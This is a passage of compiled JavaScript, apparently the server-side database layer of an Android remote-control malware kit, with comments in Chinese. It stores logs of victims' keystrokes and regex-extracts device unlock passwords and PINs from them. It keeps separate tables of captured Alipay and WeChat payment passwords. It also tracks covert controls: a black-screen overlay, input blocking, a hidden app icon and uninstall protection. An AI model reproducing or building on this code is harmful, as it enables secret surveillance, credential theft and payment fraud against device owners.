|
logType: row.logType,
|
|||
|
|
content: row.content,
|
|||
|
|
extraData: row.extraData ? JSON.parse(row.extraData) : null,
|
|||
|
|
timestamp: new Date(row.timestamp)
|
|||
|
|
}));
|
|||
|
|
const totalPages = Math.ceil(total / pageSize);
|
|||
|
|
return {
|
|||
|
|
logs,
|
|||
|
|
total,
|
|||
|
|
page,
|
|||
|
|
pageSize,
|
|||
|
|
totalPages
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取操作日志失败:', error);
|
|||
|
|
return {
|
|||
|
|
logs: [],
|
|||
|
|
total: 0,
|
|||
|
|
page: 1,
|
|||
|
|
pageSize,
|
|||
|
|
totalPages: 0
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 删除设备的所有操作日志
|
|||
|
|
*/
|
|||
|
|
clearOperationLogs(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
DELETE FROM operation_logs WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(deviceId);
|
|||
|
|
this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条操作日志`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理操作日志失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 清理旧的操作日志
|
|||
|
|
*/
|
|||
|
|
cleanupOldOperationLogs(daysToKeep = 7) {
|
|||
|
|
try {
|
|||
|
|
const cutoffDate = new Date();
|
|||
|
|
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
DELETE FROM operation_logs WHERE timestamp < ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(cutoffDate.toISOString());
|
|||
|
|
this.logger.info(`清理了 ${result.changes} 条旧操作日志 (${daysToKeep}天前)`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理旧操作日志失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 获取操作日志统计
|
|||
|
|
*/
|
|||
|
|
getOperationLogStats(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT
|
|||
|
|
logType,
|
|||
|
|
COUNT(*) as count,
|
|||
|
|
MIN(timestamp) as firstLog,
|
|||
|
|
MAX(timestamp) as lastLog
|
|||
|
|
FROM operation_logs
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
GROUP BY logType
|
|||
|
|
ORDER BY count DESC
|
|||
|
|
`);
|
|||
|
|
const stats = stmt.all(deviceId);
|
|||
|
|
return stats.map((stat) => ({
|
|||
|
|
logType: stat.logType,
|
|||
|
|
count: stat.count,
|
|||
|
|
firstLog: new Date(stat.firstLog),
|
|||
|
|
lastLog: new Date(stat.lastLog)
|
|||
|
|
}));
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取操作日志统计失败:', error);
|
|||
|
|
return [];
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 获取设备最新的密码记录
|
|||
|
|
*/
|
|||
|
|
getLatestDevicePassword(deviceId) {
|
|||
|
|
try {
|
|||
|
|
// 查询包含密码信息的最新日志
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT content, extraData FROM operation_logs
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
AND (
|
|||
|
|
content LIKE '%🔒 密码输入:%' OR
|
|||
|
|
content LIKE '%🔑 密码输入分析完成%' OR
|
|||
|
|
content LIKE '%密码%' OR
|
|||
|
|
content LIKE '%PIN%'
|
|||
|
|
)
|
|||
|
|
ORDER BY timestamp DESC
|
|||
|
|
LIMIT 1
|
|||
|
|
`);
|
|||
|
|
const row = stmt.get(deviceId);
|
|||
|
|
if (row) {
|
|||
|
|
// 尝试从 extraData 中获取密码
|
|||
|
|
if (row.extraData) {
|
|||
|
|
try {
|
|||
|
|
const extraData = JSON.parse(row.extraData);
|
|||
|
|
if (extraData.reconstructedPassword) {
|
|||
|
|
return extraData.reconstructedPassword;
|
|||
|
|
}
|
|||
|
|
if (extraData.actualPasswordText) {
|
|||
|
|
return extraData.actualPasswordText;
|
|||
|
|
}
|
|||
|
|
if (extraData.password) {
|
|||
|
|
return extraData.password;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (e) {
|
|||
|
|
// 忽略 JSON 解析错误
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
// 尝试从 content 中提取密码
|
|||
|
|
const content = row.content;
|
|||
|
|
// 匹配 "🔒 密码输入: xxx (N位)" 格式
|
|||
|
|
const passwordMatch = content.match(/🔒 密码输入:\s*(.+?)\s*\(\d+位\)/);
|
|||
|
|
if (passwordMatch) {
|
|||
|
|
const password = passwordMatch[1].trim();
|
|||
|
|
// 过滤掉纯遮罩字符的密码
|
|||
|
|
if (password && !password.match(/^[•*]+$/)) {
|
|||
|
|
return password;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
// 匹配 "🔑 密码输入分析完成: xxx" 格式
|
|||
|
|
const analysisMatch = content.match(/🔑 密码输入分析完成:\s*(.+)/);
|
|||
|
|
if (analysisMatch) {
|
|||
|
|
const password = analysisMatch[1].trim();
|
|||
|
|
if (password && !password.match(/^[•*]+$/)) {
|
|||
|
|
return password;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取设备密码失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 获取设备状态
|
|||
|
|
*/
|
|||
|
|
getDeviceState(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM device_states WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const row = stmt.get(deviceId);
|
|||
|
|
if (row) {
|
|||
|
|
return {
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
password: row.password,
|
|||
|
|
inputBlocked: !!row.inputBlocked,
|
|||
|
|
loggingEnabled: !!row.loggingEnabled,
|
|||
|
|
blackScreenActive: !!row.blackScreenActive,
|
|||
|
|
appHidden: !!row.appHidden,
|
|||
|
|
uninstallProtectionEnabled: !!row.uninstallProtectionEnabled,
|
|||
|
|
lastPasswordUpdate: row.lastPasswordUpdate ? new Date(row.lastPasswordUpdate) : undefined,
|
|||
|
|
confirmButtonCoords: row.confirmButtonCoords ? JSON.parse(row.confirmButtonCoords) : undefined,
|
|||
|
|
learnedConfirmButton: row.learnedConfirmButton ? JSON.parse(row.learnedConfirmButton) : undefined,
|
|||
|
|
createdAt: new Date(row.createdAt),
|
|||
|
|
updatedAt: new Date(row.updatedAt)
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取设备状态失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 保存或更新设备状态
|
|||
|
|
*/
|
|||
|
|
saveDeviceState(deviceId, state) {
|
|||
|
|
try {
|
|||
|
|
const existing = this.getDeviceState(deviceId);
|
|||
|
|
const now = new Date();
|
|||
|
|
if (existing) {
|
|||
|
|
// 更新现有状态
|
|||
|
|
const updates = [];
|
|||
|
|
const params = [];
|
|||
|
|
if (state.password !== undefined) {
|
|||
|
|
updates.push('password = ?');
|
|||
|
|
params.push(state.password);
|
|||
|
|
updates.push('lastPasswordUpdate = ?');
|
|||
|
|
params.push(now.toISOString());
|
|||
|
|
}
|
|||
|
|
if (state.inputBlocked !== undefined) {
|
|||
|
|
updates.push('inputBlocked = ?');
|
|||
|
|
params.push(state.inputBlocked ? 1 : 0);
|
|||
|
|
}
|
|||
|
|
if (state.loggingEnabled !== undefined) {
|
|||
|
|
updates.push('loggingEnabled = ?');
|
|||
|
|
params.push(state.loggingEnabled ? 1 : 0);
|
|||
|
|
}
|
|||
|
|
if (state.blackScreenActive !== undefined) {
|
|||
|
|
updates.push('blackScreenActive = ?');
|
|||
|
|
params.push(state.blackScreenActive ? 1 : 0);
|
|||
|
|
}
|
|||
|
|
if (state.appHidden !== undefined) {
|
|||
|
|
updates.push('appHidden = ?');
|
|||
|
|
params.push(state.appHidden ? 1 : 0);
|
|||
|
|
}
|
|||
|
|
if (state.uninstallProtectionEnabled !== undefined) {
|
|||
|
|
updates.push('uninstallProtectionEnabled = ?');
|
|||
|
|
params.push(state.uninstallProtectionEnabled ? 1 : 0);
|
|||
|
|
}
|
|||
|
|
if (state.confirmButtonCoords !== undefined) {
|
|||
|
|
updates.push('confirmButtonCoords = ?');
|
|||
|
|
params.push(state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null);
|
|||
|
|
}
|
|||
|
|
if (state.learnedConfirmButton !== undefined) {
|
|||
|
|
updates.push('learnedConfirmButton = ?');
|
|||
|
|
params.push(state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null);
|
|||
|
|
}
|
|||
|
|
updates.push('updatedAt = ?');
|
|||
|
|
params.push(now.toISOString());
|
|||
|
|
params.push(deviceId);
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
UPDATE device_states SET ${updates.join(', ')} WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
stmt.run(...params);
|
|||
|
|
this.logger.info(`设备状态已更新: ${deviceId}`);
|
|||
|
|
}
|
|||
|
|
else {
|
|||
|
|
// 创建新状态记录
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
INSERT INTO device_states (
|
|||
|
|
deviceId, password, inputBlocked, loggingEnabled,
|
|||
|
|
blackScreenActive, appHidden, uninstallProtectionEnabled, lastPasswordUpdate, confirmButtonCoords, learnedConfirmButton,
|
|||
|
|
createdAt, updatedAt
|
|||
|
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
|||
|
|
`);
|
|||
|
|
stmt.run(deviceId, state.password || null, state.inputBlocked ? 1 : 0, state.loggingEnabled ? 1 : 0, state.blackScreenActive ? 1 : 0, state.appHidden ? 1 : 0, state.uninstallProtectionEnabled ? 1 : 0, state.password ? now.toISOString() : null, state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null, state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null, now.toISOString(), now.toISOString());
|
|||
|
|
this.logger.info(`设备状态已创建: ${deviceId}`);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('保存设备状态失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 更新设备密码
|
|||
|
|
*/
|
|||
|
|
updateDevicePassword(deviceId, password) {
|
|||
|
|
try {
|
|||
|
|
this.saveDeviceState(deviceId, { password });
|
|||
|
|
this.logger.info(`设备密码已更新: ${deviceId}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('更新设备密码失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 更新设备输入阻止状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceInputBlocked(deviceId, blocked) {
|
|||
|
|
try {
|
|||
|
|
this.saveDeviceState(deviceId, { inputBlocked: blocked });
|
|||
|
|
this.logger.info(`设备输入阻止状态已更新: ${deviceId} -> ${blocked}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('更新设备输入阻止状态失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 更新设备日志记录状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceLoggingEnabled(deviceId, enabled) {
|
|||
|
|
this.saveDeviceState(deviceId, { loggingEnabled: enabled });
|
|||
|
|
this.logger.info(`设备 ${deviceId} 日志状态已更新: ${enabled}`);
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🆕 更新设备黑屏遮盖状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceBlackScreenActive(deviceId, active) {
|
|||
|
|
this.saveDeviceState(deviceId, { blackScreenActive: active });
|
|||
|
|
this.logger.info(`设备 ${deviceId} 黑屏遮盖状态已更新: ${active}`);
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🆕 更新设备应用隐藏状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceAppHidden(deviceId, hidden) {
|
|||
|
|
this.saveDeviceState(deviceId, { appHidden: hidden });
|
|||
|
|
this.logger.info(`设备 ${deviceId} 应用隐藏状态已更新: ${hidden}`);
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🛡️ 更新设备防止卸载保护状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceUninstallProtection(deviceId, enabled) {
|
|||
|
|
this.saveDeviceState(deviceId, { uninstallProtectionEnabled: enabled });
|
|||
|
|
this.logger.info(`设备 ${deviceId} 防止卸载保护状态已更新: ${enabled}`);
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
|
|||
|
|
*/
|
|||
|
|
getDevicePassword(deviceId) {
|
|||
|
|
try {
|
|||
|
|
// 1. 优先从设备状态表获取
|
|||
|
|
const deviceState = this.getDeviceState(deviceId);
|
|||
|
|
if (deviceState && deviceState.password) {
|
|||
|
|
this.logger.info(`从状态表获取设备密码: ${deviceId}`);
|
|||
|
|
return deviceState.password;
|
|||
|
|
}
|
|||
|
|
// 2. 从操作日志获取
|
|||
|
|
const passwordFromLog = this.getLatestDevicePassword(deviceId);
|
|||
|
|
if (passwordFromLog) {
|
|||
|
|
this.logger.info(`从日志获取设备密码: ${deviceId}`);
|
|||
|
|
// 同时保存到状态表
|
|||
|
|
this.updateDevicePassword(deviceId, passwordFromLog);
|
|||
|
|
return passwordFromLog;
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取设备密码失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 保存设备密码(别名方法,用于API调用)
|
|||
|
|
*/
|
|||
|
|
saveDevicePassword(deviceId, password) {
|
|||
|
|
this.updateDevicePassword(deviceId, password);
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 更新设备状态(别名方法,用于API调用)
|
|||
|
|
*/
|
|||
|
|
updateDeviceState(deviceId, state) {
|
|||
|
|
this.saveDeviceState(deviceId, state);
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🆕 保存确认按钮坐标
|
|||
|
|
*/
|
|||
|
|
saveConfirmButtonCoords(deviceId, coords) {
|
|||
|
|
try {
|
|||
|
|
this.saveDeviceState(deviceId, { confirmButtonCoords: coords });
|
|||
|
|
this.logger.info(`确认按钮坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('保存确认按钮坐标失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🆕 获取确认按钮坐标
|
|||
|
|
*/
|
|||
|
|
getConfirmButtonCoords(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const deviceState = this.getDeviceState(deviceId);
|
|||
|
|
if (deviceState && deviceState.confirmButtonCoords) {
|
|||
|
|
return deviceState.confirmButtonCoords;
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取确认按钮坐标失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🆕 更新学习的确认按钮坐标
|
|||
|
|
*/
|
|||
|
|
updateLearnedConfirmButton(deviceId, coords) {
|
|||
|
|
try {
|
|||
|
|
const existing = this.getDeviceState(deviceId);
|
|||
|
|
let learnedConfirmButton = { x: coords.x, y: coords.y, count: 1 };
|
|||
|
|
if (existing && existing.learnedConfirmButton) {
|
|||
|
|
// 更新现有学习数据
|
|||
|
|
learnedConfirmButton = {
|
|||
|
|
x: coords.x,
|
|||
|
|
y: coords.y,
|
|||
|
|
count: existing.learnedConfirmButton.count + 1
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
this.saveDeviceState(deviceId, { learnedConfirmButton });
|
|||
|
|
this.logger.info(`学习的确认按钮坐标已更新: ${deviceId} -> (${coords.x}, ${coords.y}) 次数: ${learnedConfirmButton.count}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('更新学习的确认按钮坐标失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 从操作日志中获取可能的密码候选
|
|||
|
|
*/
|
|||
|
|
getPasswordCandidatesFromLogs(deviceId) {
|
|||
|
|
try {
|
|||
|
|
// 首先查看该设备有什么类型的日志
|
|||
|
|
const allLogsQuery = `
|
|||
|
|
SELECT logType, COUNT(*) as count
|
|||
|
|
FROM operation_logs
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
GROUP BY logType
|
|||
|
|
`;
|
|||
|
|
const logTypeCounts = this.db.prepare(allLogsQuery).all(deviceId);
|
|||
|
|
this.logger.info(`设备 ${deviceId} 的日志类型分布:`, logTypeCounts);
|
|||
|
|
const query = `
|
|||
|
|
SELECT content, extraData, timestamp, logType
|
|||
|
|
FROM operation_logs
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
AND logType = 'TEXT_INPUT'
|
|||
|
|
ORDER BY timestamp DESC
|
|||
|
|
LIMIT 100
|
|||
|
|
`;
|
|||
|
|
const logs = this.db.prepare(query).all(deviceId);
|
|||
|
|
this.logger.info(`从设备 ${deviceId} 获取到 ${logs.length} 条文本输入日志`);
|
|||
|
|
return logs;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取密码候选失败:', error);
|
|||
|
|
return [];
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💰 保存支付宝密码记录
|
|||
|
|
*/
|
|||
|
|
saveAlipayPassword(record) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
INSERT INTO alipay_passwords (
|
|||
|
|
deviceId, password, passwordLength, activity, inputMethod,
|
|||
|
|
sessionId, timestamp, createdAt
|
|||
|
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
|||
|
|
`);
|
|||
|
|
const now = new Date();
|
|||
|
|
stmt.run(record.deviceId, record.password, record.passwordLength, record.activity, record.inputMethod, record.sessionId, record.timestamp.toISOString(), now.toISOString());
|
|||
|
|
this.logger.info(`💰 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('保存支付宝密码失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💰 获取设备的支付宝密码记录(分页)
|
|||
|
|
*/
|
|||
|
|
getAlipayPasswords(deviceId, page = 1, pageSize = 50) {
|
|||
|
|
try {
|
|||
|
|
// 查询总数
|
|||
|
|
const countStmt = this.db.prepare(`
|
|||
|
|
SELECT COUNT(*) as total FROM alipay_passwords WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const totalResult = countStmt.get(deviceId);
|
|||
|
|
const total = totalResult.total;
|
|||
|
|
// 查询分页数据
|
|||
|
|
const offset = (page - 1) * pageSize;
|
|||
|
|
const dataStmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM alipay_passwords
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
ORDER BY timestamp DESC
|
|||
|
|
LIMIT ? OFFSET ?
|
|||
|
|
`);
|
|||
|
|
const rows = dataStmt.all(deviceId, pageSize, offset);
|
|||
|
|
const passwords = rows.map(row => ({
|
|||
|
|
id: row.id,
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
password: row.password,
|
|||
|
|
passwordLength: row.passwordLength,
|
|||
|
|
activity: row.activity,
|
|||
|
|
inputMethod: row.inputMethod,
|
|||
|
|
sessionId: row.sessionId,
|
|||
|
|
timestamp: new Date(row.timestamp),
|
|||
|
|
createdAt: new Date(row.createdAt)
|
|||
|
|
}));
|
|||
|
|
const totalPages = Math.ceil(total / pageSize);
|
|||
|
|
return {
|
|||
|
|
passwords,
|
|||
|
|
total,
|
|||
|
|
page,
|
|||
|
|
pageSize,
|
|||
|
|
totalPages
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取支付宝密码记录失败:', error);
|
|||
|
|
return {
|
|||
|
|
passwords: [],
|
|||
|
|
total: 0,
|
|||
|
|
page: 1,
|
|||
|
|
pageSize,
|
|||
|
|
totalPages: 0
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💰 获取设备最新的支付宝密码
|
|||
|
|
*/
|
|||
|
|
getLatestAlipayPassword(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM alipay_passwords
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
ORDER BY timestamp DESC
|
|||
|
|
LIMIT 1
|
|||
|
|
`);
|
|||
|
|
const row = stmt.get(deviceId);
|
|||
|
|
if (row) {
|
|||
|
|
return {
|
|||
|
|
id: row.id,
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
password: row.password,
|
|||
|
|
passwordLength: row.passwordLength,
|
|||
|
|
activity: row.activity,
|
|||
|
|
inputMethod: row.inputMethod,
|
|||
|
|
sessionId: row.sessionId,
|
|||
|
|
timestamp: new Date(row.timestamp),
|
|||
|
|
createdAt: new Date(row.createdAt)
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取最新支付宝密码失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💰 删除设备的支付宝密码记录
|
|||
|
|
*/
|
|||
|
|
clearAlipayPasswords(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
DELETE FROM alipay_passwords WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(deviceId);
|
|||
|
|
this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条支付宝密码记录`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理支付宝密码记录失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💰 清理旧的支付宝密码记录
|
|||
|
|
*/
|
|||
|
|
cleanupOldAlipayPasswords(daysToKeep = 30) {
|
|||
|
|
try {
|
|||
|
|
const cutoffDate = new Date();
|
|||
|
|
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
DELETE FROM alipay_passwords WHERE timestamp < ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(cutoffDate.toISOString());
|
|||
|
|
this.logger.info(`清理了 ${result.changes} 条旧支付宝密码记录 (${daysToKeep}天前)`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理旧支付宝密码记录失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💬 保存微信密码记录
|
|||
|
|
*/
|
|||
|
|
saveWechatPassword(record) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
INSERT INTO wechat_passwords (
|
|||
|
|
deviceId, password, passwordLength, activity, inputMethod,
|
|||
|
|
sessionId, timestamp, createdAt
|
|||
|
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
|||
|
|
`);
|
|||
|
|
const now = new Date();
|
|||
|
|
stmt.run(record.deviceId, record.password, record.passwordLength, record.activity, record.inputMethod, record.sessionId, record.timestamp.toISOString(), now.toISOString());
|
|||
|
|
this.logger.info(`💬 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('保存微信密码失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💬 获取设备的微信密码记录(分页)
|
|||
|
|
*/
|
|||
|
|
getWechatPasswords(deviceId, page = 1, pageSize = 50) {
|
|||
|
|
try {
|
|||
|
|
// 查询总数
|
|||
|
|
const countStmt = this.db.prepare(`
|
|||
|
|
SELECT COUNT(*) as total FROM wechat_passwords WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const totalResult = countStmt.get(deviceId);
|
|||
|
|
const total = totalResult.total;
|
|||
|
|
// 查询分页数据
|
|||
|
|
const offset = (page - 1) * pageSize;
|
|||
|
|
const dataStmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM wechat_passwords
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
ORDER BY timestamp DESC
|
|||
|
|
LIMIT ? OFFSET ?
|
|||
|
|
`);
|
|||
|
|
const rows = dataStmt.all(deviceId, pageSize, offset);
|
|||
|
|
const passwords = rows.map(row => ({
|
|||
|
|
id: row.id,
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
password: row.password,
|
|||
|
|
passwordLength: row.passwordLength,
|
|||
|
|
activity: row.activity,
|
|||
|
|
inputMethod: row.inputMethod,
|
|||
|
|
sessionId: row.sessionId,
|
|||
|
|
timestamp: new Date(row.timestamp),
|
|||
|
|
createdAt: new Date(row.createdAt)
|
|||
|
|
}));
|
|||
|
|
const totalPages = Math.ceil(total / pageSize);
|
|||
|
|
return {
|
|||
|
|
passwords,
|
|||
|
|
total,
|
|||
|
|
page,
|
|||
|
|
pageSize,
|
|||
|
|
totalPages
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取微信密码记录失败:', error);
|
|||
|
|
return {
|
|||
|
|
passwords: [],
|
|||
|
|
total: 0,
|
|||
|
|
page: 1,
|
|||
|
|
pageSize,
|
|||
|
|
totalPages: 0
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💬 获取设备最新的微信密码
|
|||
|
|
*/
|
|||
|
|
getLatestWechatPassword(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM wechat_passwords
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
ORDER BY timestamp DESC
|
|||
|
|
LIMIT 1
|
|||
|
|
`);
|
|||
|
|
const row = stmt.get(deviceId);
|
|||
|
|
if (row) {
|
|||
|
|
return {
|
|||
|
|
id: row.id,
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
password: row.password,
|
|||
|
|
passwordLength: row.passwordLength,
|
|||
|
|
activity: row.activity,
|
|||
|
|
inputMethod: row.inputMethod,
|
|||
|
|
sessionId: row.sessionId,
|
|||
|
|
timestamp: new Date(row.timestamp),
|
|||
|
|
createdAt: new Date(row.createdAt)
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取最新微信密码失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💬 删除设备的微信密码记录
|
|||
|
|
*/
|
|||
|
|
clearWechatPasswords(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
DELETE FROM wechat_passwords WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(deviceId);
|
|||
|
|
this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条微信密码记录`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理微信密码记录失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 💬 清理旧的微信密码记录
|
|||
|
|
*/
|
|||
|
|
cleanupOldWechatPasswords(daysToKeep = 30) {
|
|||
|
|
try {
|
|||
|
|
const cutoffDate = new Date();
|
|||
|
|
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
DELETE FROM wechat_passwords WHERE timestamp < ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(cutoffDate.toISOString());
|
|||
|
|
this.logger.info(`清理了 ${result.changes} 条旧微信密码记录 (${daysToKeep}天前)`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理旧微信密码记录失败:', error);
|
|||
|
|
}
|
|||
|
|
